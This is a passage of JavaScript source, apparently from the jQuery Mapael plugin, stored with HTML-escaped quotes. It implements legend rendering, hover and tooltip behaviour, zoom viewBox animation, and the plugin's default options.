                    delete sliceOptions[i].attrs.width;
                    delete sliceOptions[i].attrs.height;
                    delete sliceOptions[i].attrs.r;
                    legendElem.attr(sliceOptions[i].attrs);
                    legendElemBBox = legendElem.getBBox();

                    // Draw the label associated with the element
                    if (legendOptions.mode === &quot;horizontal&quot;) {
                        x = width + legendOptions.marginLeft + legendElemBBox.width + legendOptions.marginLeftLabel;
                        y = yCenter;
                    } else {
                        x = legendOptions.marginLeft + legendElemBBox.width + legendOptions.marginLeftLabel;
                        y = height + (legendElemBBox.height / 2);
                    }

                    legendLabel = legendPaper.text(x, y, sliceOptions[i].label).attr(legendOptions.labelAttrs);

                    // Update the width and height for the paper
                    if (legendOptions.mode === &quot;horizontal&quot;) {
                        var currentHeight = legendOptions.marginBottom + legendElemBBox.height;
                        width += legendOptions.marginLeft + legendElemBBox.width + legendOptions.marginLeftLabel + legendLabel.getBBox().width;
                        if (sliceOptions[i].type !== &quot;image&quot; &amp;&amp; legendType !== &quot;area&quot;) {
                            currentHeight += legendOptions.marginBottomTitle;
                        }
                        // Add title height if it exists
                        if (title) {
                            currentHeight += titleBBox.height;
                        }
                        height = Math.max(height, currentHeight);
                    } else {
                        width = Math.max(width, legendOptions.marginLeft + legendElemBBox.width + legendOptions.marginLeftLabel + legendLabel.getBBox().width);
                        height += legendOptions.marginBottom + legendElemBBox.height;
                    }

                    // Set some data to elements
                    $(legendElem.node).attr({
                        &quot;data-legend-id&quot;: legendIndex,
                        &quot;data-legend-type&quot;: legendType,
                        &quot;data-type&quot;: &quot;legend-elem&quot;,
                        &quot;data-id&quot;: i,
                        &quot;data-hidden&quot;: 0
                    });
                    $(legendLabel.node).attr({
                        &quot;data-legend-id&quot;: legendIndex,
                        &quot;data-legend-type&quot;: legendType,
                        &quot;data-type&quot;: &quot;legend-label&quot;,
                        &quot;data-id&quot;: i,
                        &quot;data-hidden&quot;: 0
                    });

                    // Set array content
                    // We use similar names like map/plots/links
                    legendElems[i] = {
                        mapElem: legendElem,
                        textElem: legendLabel
                    };

                    // Hide map elements when the user clicks on a legend item
                    if (legendOptions.hideElemsOnClick.enabled) {
                        // Hide/show elements when user clicks on a legend element
                        legendLabel.attr({cursor: &quot;pointer&quot;});
                        legendElem.attr({cursor: &quot;pointer&quot;});

                        self.setHoverOptions(legendElem, sliceOptions[i].attrs, sliceOptions[i].attrs);
                        self.setHoverOptions(legendLabel, legendOptions.labelAttrs, legendOptions.labelAttrsHover);

                        if (sliceOptions[i].clicked !== undefined &amp;&amp; sliceOptions[i].clicked === true) {
                            self.handleClickOnLegendElem(legendElems[i], i, legendIndex, legendType, {hideOtherElems: false});
                        }
                    }
                }
            }

            // VMLWidth option allows you to set static width for the legend
            // only for VML render because text.getBBox() returns wrong values on IE6/7
            if (Raphael.type !== &quot;SVG&quot; &amp;&amp; legendOptions.VMLWidth)
                width = legendOptions.VMLWidth;

            legendPaper.setSize(width, height);

            return {
                container: $legend,
                initialHTMLContent: initialHTMLContent,
                elems: legendElems
            };
        },

        /*
         * Allow to hide elements of the map when the user clicks on a related legend item
         * @param elem legend element
         * @param id legend element ID
         * @param legendIndex corresponding legend index
         * @param legendType corresponding legend type (area or plot)
         * @param opts object additionnal options
         *          hideOtherElems boolean, if other elems shall be hidden
         *          animDuration duration of animation
         */
        handleClickOnLegendElem: function(elem, id, legendIndex, legendType, opts) {
            var self = this;
            var legendOptions;
            opts = opts || {};

            if (!$.isArray(self.options.legend[legendType])) {
                legendOptions = self.options.legend[legendType];
            } else {
                legendOptions = self.options.legend[legendType][legendIndex];
            }

            var legendElem = elem.mapElem;
            var legendLabel = elem.textElem;
            var $legendElem = $(legendElem.node);
            var $legendLabel = $(legendLabel.node);
            var sliceOptions = legendOptions.slices[id];
            var mapElems = legendType === &#039;area&#039; ? self.areas : self.plots;
            // Check animDuration: if not set, this is a regular click, use the value specified in options
            var animDuration = opts.animDuration !== undefined ? opts.animDuration : legendOptions.hideElemsOnClick.animDuration ;

            var hidden = $legendElem.attr(&#039;data-hidden&#039;);
            var hiddenNewAttr = (hidden === &#039;0&#039;) ? {&quot;data-hidden&quot;: &#039;1&#039;} : {&quot;data-hidden&quot;: &#039;0&#039;};

            if (hidden === &#039;0&#039;) {
                self.animate(legendLabel, {&quot;opacity&quot;: 0.5}, animDuration);
            } else {
                self.animate(legendLabel, {&quot;opacity&quot;: 1}, animDuration);
            }

            $.each(mapElems, function (y) {
                var elemValue;

                // Retreive stored data of element
                //      &#039;hidden-by&#039; contains the list of legendIndex that is hiding this element
                var hiddenBy = mapElems[y].mapElem.data(&#039;hidden-by&#039;);
                // Set to empty object if undefined
                if (hiddenBy === undefined) hiddenBy = {};

                if ($.isArray(mapElems[y].options.value)) {
                    elemValue = mapElems[y].options.value[legendIndex];
                } else {
                    elemValue = mapElems[y].options.value;
                }

                // Hide elements whose value matches with the slice of the clicked legend item
                if (self.getLegendSlice(elemValue, legendOptions) === sliceOptions) {
                    if (hidden === &#039;0&#039;) { // we want to hide this element
                        hiddenBy[legendIndex] = true; // add legendIndex to the data object for later use
                        self.setElementOpacity(mapElems[y], legendOptions.hideElemsOnClick.opacity, animDuration);
                    } else { // We want to show this element
                        delete hiddenBy[legendIndex]; // Remove this legendIndex from object
                        // Check if another legendIndex is defined
                        // We will show this element only if no legend is no longer hiding it
                        if ($.isEmptyObject(hiddenBy)) {
                            self.setElementOpacity(
                                mapElems[y],
                                mapElems[y].mapElem.originalAttrs.opacity !== undefined ? mapElems[y].mapElem.originalAttrs.opacity : 1,
                                animDuration
                            );
                        }
                    }
                    // Update elem data with new values
                    mapElems[y].mapElem.data(&#039;hidden-by&#039;, hiddenBy);
                }
            });

            $legendElem.attr(hiddenNewAttr);
            $legendLabel.attr(hiddenNewAttr);

            if ((opts.hideOtherElems === undefined || opts.hideOtherElems === true) &amp;&amp; legendOptions.exclusive === true ) {
                $(&quot;[data-type=&#039;legend-elem&#039;][data-hidden=0]&quot;, self.$container).each(function () {
                    var $elem = $(this);
                    if ($elem.attr(&#039;data-id&#039;) !== id) {
                        $elem.trigger(&quot;click&quot;, {hideOtherElems: false});
                    }
                });
            }

        },

        /*
         * Create all legends for a specified type (area or plot)
         * @param legendType the type of the legend : &quot;area&quot; or &quot;plot&quot;
         * @param elems collection of plots or areas displayed on the map
         * @param scale scale ratio of the map
         */
        createLegends: function (legendType, elems, scale) {
            var self = this;
            var legendsOptions = self.options.legend[legendType];

            if (!$.isArray(self.options.legend[legendType])) {
                legendsOptions = [self.options.legend[legendType]];
            }

            self.legends[legendType] = {};
            for (var j = 0; j &lt; legendsOptions.length; ++j) {
                if (legendsOptions[j].display === true  &amp;&amp; $.isArray(legendsOptions[j].slices) &amp;&amp; legendsOptions[j].slices.length &gt; 0 &amp;&amp;
                    legendsOptions[j].cssClass !== &quot;&quot; &amp;&amp; $(&quot;.&quot; + legendsOptions[j].cssClass, self.$container).length !== 0
                ) {
                    self.legends[legendType][j] = self.drawLegend(legendsOptions[j], legendType, elems, scale, j);
                }
            }
        },

        /*
         * Set the attributes on hover and the attributes to restore for a map element
         * @param elem the map element
         * @param originalAttrs the original attributes to restore on mouseout event
         * @param attrsHover the attributes to set on mouseover event
         */
        setHoverOptions: function (elem, originalAttrs, attrsHover) {
            // Disable transform option on hover for VML (IE&lt;9) because of several bugs
            if (Raphael.type !== &quot;SVG&quot;) delete attrsHover.transform;
            elem.attrsHover = attrsHover;

            if (elem.attrsHover.transform) elem.originalAttrs = $.extend({transform: &quot;s1&quot;}, originalAttrs);
            else elem.originalAttrs = originalAttrs;
        },

        /*
         * Set the behaviour when mouse enters element (&quot;mouseover&quot; event)
         * It may be an area, a plot, a link or a legend element
         * @param elem the map element
         */
        elemEnter: function (elem) {
            var self = this;
            if (elem === undefined) return;

            /* Handle mapElem Hover attributes */
            if (elem.mapElem !== undefined) {
                self.animate(elem.mapElem, elem.mapElem.attrsHover, elem.mapElem.attrsHover.animDuration);
            }

            /* Handle textElem Hover attributes */
            if (elem.textElem !== undefined) {
                self.animate(elem.textElem, elem.textElem.attrsHover, elem.textElem.attrsHover.animDuration);
            }

            /* Handle tooltip init */
            if (elem.options &amp;&amp; elem.options.tooltip !== undefined) {
                var content = &#039;&#039;;
                // Reset classes
                self.$tooltip.removeClass().addClass(self.options.map.tooltip.cssClass);
                // Get content
                if (elem.options.tooltip.content !== undefined) {
                    // if tooltip.content is function, call it. Otherwise, assign it directly.
                    if (typeof elem.options.tooltip.content === &quot;function&quot;) content = elem.options.tooltip.content(elem.mapElem);
                    else content = elem.options.tooltip.content;
                }
                if (elem.options.tooltip.cssClass !== undefined) {
                    self.$tooltip.addClass(elem.options.tooltip.cssClass);
                }
                self.$tooltip.html(content).css(&quot;display&quot;, &quot;block&quot;);
            }

            // workaround for older version of Raphael
            if (elem.mapElem !== undefined || elem.textElem !== undefined) {
                if (self.paper.safari) self.paper.safari();
            }
        },

        /*
         * Set the behaviour when mouse moves in element (&quot;mousemove&quot; event)
         * @param elem the map element
         */
        elemHover: function (elem, event) {
            var self = this;
            if (elem === undefined) return;

            /* Handle tooltip position update */
            if (elem.options.tooltip !== undefined) {
                var mouseX = event.pageX;
                var mouseY = event.pageY;

                var offsetLeft = 10;
                var offsetTop = 20;
                if (typeof elem.options.tooltip.offset === &quot;object&quot;) {
                    if (typeof elem.options.tooltip.offset.left !== &quot;undefined&quot;) {
                        offsetLeft = elem.options.tooltip.offset.left;
                    }
                    if (typeof elem.options.tooltip.offset.top !== &quot;undefined&quot;) {
                        offsetTop = elem.options.tooltip.offset.top;
                    }
                }

                var tooltipPosition = {
                    &quot;left&quot;: Math.min(self.$map.width() - self.$tooltip.outerWidth() - 5,
                                     mouseX - self.$map.offset().left + offsetLeft),
                    &quot;top&quot;: Math.min(self.$map.height() - self.$tooltip.outerHeight() - 5,
                                    mouseY - self.$map.offset().top + offsetTop)
                };

                if (typeof elem.options.tooltip.overflow === &quot;object&quot;) {
                    if (elem.options.tooltip.overflow.right === true) {
                        tooltipPosition.left = mouseX - self.$map.offset().left + 10;
                    }
                    if (elem.options.tooltip.overflow.bottom === true) {
                        tooltipPosition.top = mouseY - self.$map.offset().top + 20;
                    }
                }

                self.$tooltip.css(tooltipPosition);
            }
        },

        /*
         * Set the behaviour when mouse leaves element (&quot;mouseout&quot; event)
         * It may be an area, a plot, a link or a legend element
         * @param elem the map element
         */
        elemOut: function (elem) {
            var self = this;
            if (elem === undefined) return;

            /* reset mapElem attributes */
            if (elem.mapElem !== undefined) {
                self.animate(elem.mapElem, elem.mapElem.originalAttrs, elem.mapElem.attrsHover.animDuration);
            }

            /* reset textElem attributes */
            if (elem.textElem !== undefined) {
                self.animate(elem.textElem, elem.textElem.originalAttrs, elem.textElem.attrsHover.animDuration);
            }

            /* reset tooltip */
            if (elem.options &amp;&amp; elem.options.tooltip !== undefined) {
                self.$tooltip.css({
                    &#039;display&#039;: &#039;none&#039;,
                    &#039;top&#039;: -1000,
                    &#039;left&#039;: -1000
                });
            }

            // workaround for older version of Raphael
            if (elem.mapElem !== undefined || elem.textElem !== undefined) {
                if (self.paper.safari) self.paper.safari();
            }
        },

        /*
         * Set the behaviour when mouse clicks element (&quot;click&quot; event)
         * It may be an area, a plot or a link (but not a legend element which has its own function)
         * @param elem the map element
         */
        elemClick: function (elem) {
            var self = this;
            if (elem === undefined) return;

            /* Handle click when href defined */
            if (!self.panning &amp;&amp; elem.options.href !== undefined) {
                window.open(elem.options.href, elem.options.target);
            }
        },

        /*
         * Get element options by merging default options, element options and legend options
         * @param defaultOptions
         * @param elemOptions
         * @param legendOptions
         */
        getElemOptions: function (defaultOptions, elemOptions, legendOptions) {
            var self = this;
            var options = $.extend(true, {}, defaultOptions, elemOptions);
            if (options.value !== undefined) {
                if ($.isArray(legendOptions)) {
                    for (var i = 0; i &lt; legendOptions.length; ++i) {
                        options = $.extend(true, {}, options, self.getLegendSlice(options.value[i], legendOptions[i]));
                    }
                } else {
                    options = $.extend(true, {}, options, self.getLegendSlice(options.value, legendOptions));
                }
            }
            return options;
        },

        /*
         * Get the coordinates of the text relative to a bbox and a position
         * @param bbox the boundary box of the element
         * @param textPosition the wanted text position (inner, right, left, top or bottom)
         * @param margin number or object {x: val, y:val} margin between the bbox and the text
         */
        getTextPosition: function (bbox, textPosition, margin) {
            var textX = 0;
            var textY = 0;
            var textAnchor = &quot;&quot;;

            if (typeof margin === &quot;number&quot;) {
                if (textPosition === &quot;bottom&quot; || textPosition === &quot;top&quot;) {
                    margin = {x: 0, y: margin};
                } else if (textPosition === &quot;right&quot; || textPosition === &quot;left&quot;) {
                    margin = {x: margin, y: 0};
                } else {
                    margin = {x: 0, y: 0};
                }
            }

            switch (textPosition) {
                case &quot;bottom&quot; :
                    textX = ((bbox.x + bbox.x2) / 2) + margin.x;
                    textY = bbox.y2 + margin.y;
                    textAnchor = &quot;middle&quot;;
                    break;
                case &quot;top&quot; :
                    textX = ((bbox.x + bbox.x2) / 2) + margin.x;
                    textY = bbox.y - margin.y;
                    textAnchor = &quot;middle&quot;;
                    break;
                case &quot;left&quot; :
                    textX = bbox.x - margin.x;
                    textY = ((bbox.y + bbox.y2) / 2) + margin.y;
                    textAnchor = &quot;end&quot;;
                    break;
                case &quot;right&quot; :
                    textX = bbox.x2 + margin.x;
                    textY = ((bbox.y + bbox.y2) / 2) + margin.y;
                    textAnchor = &quot;start&quot;;
                    break;
                default : // &quot;inner&quot; position
                    textX = ((bbox.x + bbox.x2) / 2) + margin.x;
                    textY = ((bbox.y + bbox.y2) / 2) + margin.y;
                    textAnchor = &quot;middle&quot;;
            }
            return {&quot;x&quot;: textX, &quot;y&quot;: textY, &quot;textAnchor&quot;: textAnchor};
        },

        /*
         * Get the legend conf matching with the value
         * @param value the value to match with a slice in the legend
         * @param legend the legend params object
         * @return the legend slice matching with the value
         */
        getLegendSlice: function (value, legend) {
            for (var i = 0; i &lt; legend.slices.length; ++i) {
                if ((legend.slices[i].sliceValue !== undefined &amp;&amp; value === legend.slices[i].sliceValue) ||
                    ((legend.slices[i].sliceValue === undefined) &amp;&amp;
                        (legend.slices[i].min === undefined || value &gt;= legend.slices[i].min) &amp;&amp;
                        (legend.slices[i].max === undefined || value &lt;= legend.slices[i].max))
                ) {
                    return legend.slices[i];
                }
            }
            return {};
        },

        /*
         * Animated view box changes
         * As from http://code.voidblossom.com/animating-viewbox-easing-formulas/,
         * (from https://github.com/theshaun works on mapael)
         * @param x coordinate of the point to focus on
         * @param y coordinate of the point to focus on
         * @param w map defined width
         * @param h map defined height
         * @param duration defined length of time for animation
         * @param easingFunction defined Raphael supported easing_formula to use
         */
        animateViewBox: function (targetX, targetY, targetW, targetH, duration, easingFunction) {
            var self = this;

            var cx = self.currentViewBox.x;
            var dx = targetX - cx;
            var cy = self.currentViewBox.y;
            var dy = targetY - cy;
            var cw = self.currentViewBox.w;
            var dw = targetW - cw;
            var ch = self.currentViewBox.h;
            var dh = targetH - ch;

            // Init current ViewBox target if undefined
            if (!self.zoomAnimCVBTarget) {
                self.zoomAnimCVBTarget = {
                    x: targetX, y: targetY, w: targetW, h: targetH
                };
            }

            // Determine zoom direction by comparig current vs. target width
            var zoomDir = (cw &gt; targetW) ? &#039;in&#039; : &#039;out&#039;;

            var easingFormula = Raphael.easing_formulas[easingFunction || &quot;linear&quot;];

            // To avoid another frame when elapsed time approach end (2%)
            var durationWithMargin = duration - (duration * 2 / 100);

            // Save current zoomAnimStartTime before assigning a new one
            var oldZoomAnimStartTime = self.zoomAnimStartTime;
            self.zoomAnimStartTime = (new Date()).getTime();

            /* Actual function to animate the ViewBox
             * Uses requestAnimationFrame to schedule itself again until animation is over
             */
            var computeNextStep = function () {
                // Cancel any remaining animationFrame
                // It means this new step will take precedence over the old one scheduled
                // This is the case when the user is triggering the zoom fast (e.g. with a big mousewheel run)
                // This actually does nothing when performing a single zoom action
                self.cancelAnimationFrame(self.zoomAnimID);
                // Compute elapsed time
                var elapsed = (new Date()).getTime() - self.zoomAnimStartTime;
                // Check if animation should finish
                if (elapsed &lt; durationWithMargin) {
                    // Hold the future ViewBox values
                    var x, y, w, h;

                    // There are two ways to compute the next ViewBox size
                    //  1. If the target ViewBox has changed between steps (=&gt; ADAPTATION step)
                    //  2. Or if the target ViewBox is the same (=&gt; NORMAL step)
                    //
                    // A change of ViewBox target between steps means the user is triggering
                    // the zoom fast (like a big scroll with its mousewheel)
                    //
                    // The new animation step with the new target will always take precedence over the
                    // last one and start from 0 (we overwrite zoomAnimStartTime and cancel the scheduled frame)
                    //
                    // So if we don&#039;t detect the change of target and adapt our computation,
                    // the user will see a delay at beginning the ratio will stays at 0 for some frames
                    //
                    // Hence when detecting the change of target, we animate from the previous target.
                    //
                    // The next step will then take the lead and continue from there, achieving a nicer
                    // experience for user.

                    // Change of target IF: an old animation start value exists AND the target has actually changed
                    if (oldZoomAnimStartTime &amp;&amp; self.zoomAnimCVBTarget &amp;&amp; self.zoomAnimCVBTarget.w !== targetW) {
                        // Compute the real time elapsed with the last step
                        var realElapsed = (new Date()).getTime() - oldZoomAnimStartTime;
                        // Compute then the actual ratio we&#039;re at
                        var realRatio = easingFormula(realElapsed / duration);
                        // Compute new ViewBox values
                        // The difference with the normal function is regarding the delta  value used
                        // We don&#039;t take the current (dx, dy, dw, dh) values yet because they are related to the new target
                        // But we take the old target
                        x = cx + (self.zoomAnimCVBTarget.x - cx) * realRatio;
                        y = cy + (self.zoomAnimCVBTarget.y - cy) * realRatio;
                        w = cw + (self.zoomAnimCVBTarget.w - cw) * realRatio;
                        h = ch + (self.zoomAnimCVBTarget.h - ch) * realRatio;
                        // Update cw, cy, cw and ch so the next step take animation from here
                        cx = x;
                        dx = targetX - cx;
                        cy = y;
                        dy = targetY - cy;
                        cw = w;
                        dw = targetW - cw;
                        ch = h;
                        dh = targetH - ch;
                        // Update the current ViewBox target
                        self.zoomAnimCVBTarget = {
                            x: targetX, y: targetY, w: targetW, h: targetH
                        };
                    } else {
                        // This is the classical approach when nothing come interrupting the zoom
                        // Compute ratio according to elasped time and easing formula
                        var ratio = easingFormula(elapsed / duration);
                        // From the current value, we add a delta with a ratio that will leads us to the target
                        x = cx + dx * ratio;
                        y = cy + dy * ratio;
                        w = cw + dw * ratio;
                        h = ch + dh * ratio;
                    }

                    // Some checks before applying the new viewBox
                    if (zoomDir === &#039;in&#039; &amp;&amp; (w &gt; self.currentViewBox.w || w &lt; targetW)) {
                        // Zooming IN and the new ViewBox seems larger than the current value, or smaller than target value
                        // We do NOT set the ViewBox with this value
                        // Otherwise, the user would see the camera going back and forth
                    } else if (zoomDir === &#039;out&#039; &amp;&amp; (w &lt; self.currentViewBox.w || w &gt; targetW)) {
                        // Zooming OUT and the new ViewBox seems smaller than the current value, or larger than target value
                        // We do NOT set the ViewBox with this value
                        // Otherwise, the user would see the camera going back and forth
                    } else {
                        // New values look good, applying
                        self.setViewBox(x, y, w, h);
                    }

                    // Schedule the next step
                    self.zoomAnimID = self.requestAnimationFrame(computeNextStep);
                } else {
                    /* Zoom animation done ! */
                    // Perform some cleaning
                    self.zoomAnimStartTime = null;
                    self.zoomAnimCVBTarget = null;
                    // Make sure the ViewBox hits the target!
                    if (self.currentViewBox.w !== targetW) {
                        self.setViewBox(targetX, targetY, targetW, targetH);
                    }
                    // Finally trigger afterZoom event
                    self.$map.trigger(&quot;afterZoom&quot;, {
                        x1: targetX, y1: targetY,
                        x2: (targetX + targetW), y2: (targetY + targetH)
                    });
                }
            };

            // Invoke the first step directly
            computeNextStep();
        },

        /*
         * requestAnimationFrame/cancelAnimationFrame polyfill
         * Based on https://gist.github.com/jlmakes/47eba84c54bc306186ac1ab2ffd336d4
         * and also https://gist.github.com/paulirish/1579671
         *
         * _requestAnimationFrameFn and _cancelAnimationFrameFn hold the current functions
         * But requestAnimationFrame and cancelAnimationFrame shall be called since
         * in order to be in window context
         */
        // The function to use for requestAnimationFrame
        requestAnimationFrame: function(callback) {
            return this._requestAnimationFrameFn.call(window, callback);
        },
        // The function to use for cancelAnimationFrame
        cancelAnimationFrame: function(id) {
            this._cancelAnimationFrameFn.call(window, id);
        },
        // The requestAnimationFrame polyfill&#039;d function
        // Value set by self-invoking function, will be run only once
        _requestAnimationFrameFn: (function () {
            var polyfill = (function () {
                var clock = (new Date()).getTime();

                return function (callback) {
                    var currentTime = (new Date()).getTime();

                    // requestAnimationFrame strive to run @60FPS
                    // (e.g. every 16 ms)
                    if (currentTime - clock &gt; 16) {
                        clock = currentTime;
                        callback(currentTime);
                    } else {
                        // Ask browser to schedule next callback when possible
                        return setTimeout(function () {
                            polyfill(callback);
                        }, 0);
                    }
                };
            })();

            return window.requestAnimationFrame ||
                window.webkitRequestAnimationFrame ||
                window.mozRequestAnimationFrame ||
                window.msRequestAnimationFrame ||
                window.oRequestAnimationFrame ||
                polyfill;
        })(),
        // The CancelAnimationFrame polyfill&#039;d function
        // Value set by self-invoking function, will be run only once
        _cancelAnimationFrameFn: (function () {
            return window.cancelAnimationFrame ||
                window.webkitCancelAnimationFrame ||
                window.webkitCancelRequestAnimationFrame ||
                window.mozCancelAnimationFrame ||
                window.mozCancelRequestAnimationFrame ||
                window.msCancelAnimationFrame ||
                window.msCancelRequestAnimationFrame ||
                window.oCancelAnimationFrame ||
                window.oCancelRequestAnimationFrame ||
                clearTimeout;
        })(),

        /*
         * SetViewBox wrapper
         * Apply new viewbox values and keep track of them
         *
         * This avoid using the internal variable paper._viewBox which
         * may not be present in future version of Raphael
         */
        setViewBox: function(x, y, w, h) {
            var self = this;
            // Update current value
            self.currentViewBox.x = x;
            self.currentViewBox.y = y;
            self.currentViewBox.w = w;
            self.currentViewBox.h = h;
            // Perform set view box
            self.paper.setViewBox(x, y, w, h, false);
        },

        /*
         * Animate wrapper for Raphael element
         *
         * Perform an animation and ensure the non-animated attr are set.
         * This is needed for specific attributes like cursor who will not
         * be animated, and thus not set.
         *
         * If duration is set to 0 (or not set), no animation are performed
         * and attributes are directly set (and the callback directly called)
         */
        // List extracted from Raphael internal vars
        // Diff between Raphael.availableAttrs  and  Raphael._availableAnimAttrs
        _nonAnimatedAttrs: [
            &quot;arrow-end&quot;, &quot;arrow-start&quot;, &quot;gradient&quot;,
            &quot;class&quot;, &quot;cursor&quot;, &quot;text-anchor&quot;,
            &quot;font&quot;, &quot;font-family&quot;, &quot;font-style&quot;, &quot;font-weight&quot;, &quot;letter-spacing&quot;,
            &quot;src&quot;, &quot;href&quot;, &quot;target&quot;, &quot;title&quot;,
            &quot;stroke-dasharray&quot;, &quot;stroke-linecap&quot;, &quot;stroke-linejoin&quot;, &quot;stroke-miterlimit&quot;
        ],
        /*
         * @param element Raphael element
         * @param attrs Attributes object to animate
         * @param duration Animation duration in ms
         * @param callback Callback to eventually call after animation is done
         */
        animate: function(element, attrs, duration, callback) {
            var self = this;
            // Check element
            if (!element) return;
            if (duration &gt; 0) {
                // Filter out non-animated attributes
                // Note: we don&#039;t need to delete from original attribute (they won&#039;t be set anyway)
                var attrsNonAnimated = {};
                for (var i=0 ; i &lt; self._nonAnimatedAttrs.length ; i++) {
                    var attrName = self._nonAnimatedAttrs[i];
                    if (attrs[attrName] !== undefined) {
                        attrsNonAnimated[attrName] = attrs[attrName];
                    }
                }
                // Set non-animated attributes
                element.attr(attrsNonAnimated);
                // Start animation for all attributes
                element.animate(attrs, duration, &#039;linear&#039;, function() {
                    if (callback) callback();
                });
            } else {
                // No animation: simply set all attributes...
                element.attr(attrs);
                // ... and call the callback if needed
                if (callback) callback();
            }
        },

        /*
         * Check for Raphael bug regarding drawing while beeing hidden (under display:none)
         * See https://github.com/neveldo/jQuery-Mapael/issues/135
         * @return true/false
         *
         * Wants to override this behavior? Use prototype overriding:
         *     $.mapael.prototype.isRaphaelBBoxBugPresent = function() {return false;};
         */
        isRaphaelBBoxBugPresent: function() {
            var self = this;
            // Draw text, then get its boundaries
            var textElem = self.paper.text(-50, -50, &quot;TEST&quot;);
            var textElemBBox = textElem.getBBox();
            // remove element
            textElem.remove();
            // If it has no height and width, then the paper is hidden
            return (textElemBBox.width === 0 &amp;&amp; textElemBBox.height === 0);
        },

        // Default map options
        defaultOptions: {
            map: {
                cssClass: &quot;map&quot;,
                tooltip: {
                    cssClass: &quot;mapTooltip&quot;
                },
                defaultArea: {
                    attrs: {
                        fill: &quot;#343434&quot;,
                        stroke: &quot;#5d5d5d&quot;,
                        &quot;stroke-width&quot;: 1,
                        &quot;stroke-linejoin&quot;: &quot;round&quot;
                    },
                    attrsHover: {
                        fill: &quot;#f38a03&quot;,
                        animDuration: 300
                    },
                    text: {
                        position: &quot;inner&quot;,
                        margin: 10,
                        attrs: {
                            &quot;font-size&quot;: 15,
                            fill: &quot;#c7c7c7&quot;
                        },
                        attrsHover: {
                            fill: &quot;#eaeaea&quot;,
                            &quot;animDuration&quot;: 300
                        }
                    },
                    target: &quot;_self&quot;,
                    cssClass: &quot;area&quot;
                },
                defaultPlot: {
                    type: &quot;circle&quot;,
                    size: 15,
                    attrs: {
                        fill: &quot;#0088db&quot;,
                        stroke: &quot;#fff&quot;,
                        &quot;stroke-width&quot;: 0,
                        &quot;stroke-linejoin&quot;: &quot;round&quot;
                    },
                    attrsHover: {
                        &quot;stroke-width&quot;: 3,
                        animDuration: 300
                    },
                    text: {
                        position: &quot;right&quot;,
                        margin: 10,
                        attrs: {
                            &quot;font-size&quot;: 15,
                            fill: &quot;#c7c7c7&quot;
                        },
                        attrsHover: {
                            fill: &quot;#eaeaea&quot;,
                            animDuration: 300
                        }
                    },
                    target: &quot;_self&quot;,
                    cssClass: &quot;plot&quot;
                },
                defaultLink: {
                    factor: 0.5,
                    attrs: {
                        stroke: &quot;#0088db&quot;,
                        &quot;stroke-width&quot;: 2
                    },
                    attrsHover: {
                        animDuration: 300
                    },
                    text: {
                        position: &quot;inner&quot;,
                        margin: 10,
                        attrs: {
                            &quot;font-size&quot;: 15,
                            fill: &quot;#c7c7c7&quot;
                        },
                        attrsHover: {
                            fill: &quot;#eaeaea&quot;,
                            animDuration: 300
                        }
                    },
                    target: &quot;_self&quot;,
                    cssClass: &quot;link&quot;
                },
                zoom: {
                    enabled: false,
                    minLevel: 0,
                    maxLevel: 10,
                    step: 0.25,
                    mousewheel: true,
                    touch: true,
                    animDuration: 200,
                    animEasing: &quot;linear&quot;,
                    buttons: {
                        &quot;reset&quot;: {
                            cssClass: &quot;zoomButton zoomReset&quot;,
                            content: &quot;&amp;#8226;&quot;, // bullet sign
                            title: &quot;Reset zoom&quot;
                        },
                        &quot;in&quot;: {
                            cssClass: &quot;zoomButton zoomIn&quot;,
                            content: &quot;+&quot;,
                            title: &quot;Zoom in&quot;
                        },
                        &quot;out&quot;: {
                            cssClass: &quot;zoomButton zoomOut&quot;,
                            content: &quot;&amp;#8722;&quot;, // minus sign
                            title: &quot;Zoom out&quot;
                        }
                    }
                }
            },
            legend: {
                redrawOnResize: true,
                area: [],
                plot: []
            },
            areas: {},
            plots: {},
            links: {}
        },

        // Default legends option
        legendDefaultOptions: {
            area: {
                cssClass: &quot;areaLegend&quot;,
                display: true,
                marginLeft: 10,
                marginLeftTitle: 5,
                marginBottomTitle: 10,
                marginLeftLabel: 10,
                marginBottom: 10,
                titleAttrs: {
                    &quot;font-size&quot;: 16,
                    fill: &quot;#343434&quot;,
                    &quot;text-anchor&quot;: &quot;start&quot;
                },
                labelAttrs: {
                    &quot;font-size&quot;: 12,
                    fill: &quot;#343434&quot;,
                    &quot;text-anchor&quot;: &quot;start&quot;
                },
                labelAttrsHover: {
                    fill: &quot;#787878&quot;,
                    animDuration: 300
                },
                hideElemsOnClick: {
                    enabled: true,
                    opacity: 0.2,
                    animDuration: 300
                },
                slices: [],
                mode: &quot;vertical&quot;
            },
            plot: {
                cssClass: &quot;plotLegend&quot;,
                display: true,
                marginLeft: 10,
                marginLeftTitle: 5,
                marginBottomTitle: 10,
                marginLeftLabel: 10,
                marginBottom: 10,
                titleAttrs: {
                    &quot;font-size&quot;: 16,
                    fill: &quot;#343434&quot;,
                    &quot;text-anchor&quot;: &quot;start&quot;
                },
                labelAttrs: {
                    &quot;font-size&quot;: 12,
                    fill: &quot;#343434&quot;,
                    &quot;text-anchor&quot;: &quot;start&quot;
                },
                labelAttrsHover: {
                    fill: &quot;#787878&quot;,
                    animDuration: 300
                },
                hideElemsOnClick: {
                    enabled: true,
                    opacity: 0.2,
                    animDuration: 300
                },
                slices: [],
                mode: &quot;vertical&quot;
            }
        }

    };

    // Mapael version number
    // Accessible as $.mapael.version
    Mapael.version = version;

    // Extend jQuery with Mapael
    if ($[pluginName] === undefined) $[pluginName] = Mapael;

    // Add jQuery DOM function
    $.fn[pluginName] = function (options) {
        // Call Mapael on each element
        return this.each(function () {
            // Avoid leaking problem on multiple instanciation by removing an old mapael object on a container
            if ($.data(this, pluginName)) {
                $.data(this, pluginName).destroy();
            }
            // Create Mapael and save it as jQuery data
            // This allow external access to Mapael using $(&quot;.mapcontainer&quot;).data(&quot;mapael&quot;)
            $.data(this, pluginName, new Mapael(this, options));
        });
    };

    return Mapael;

}));
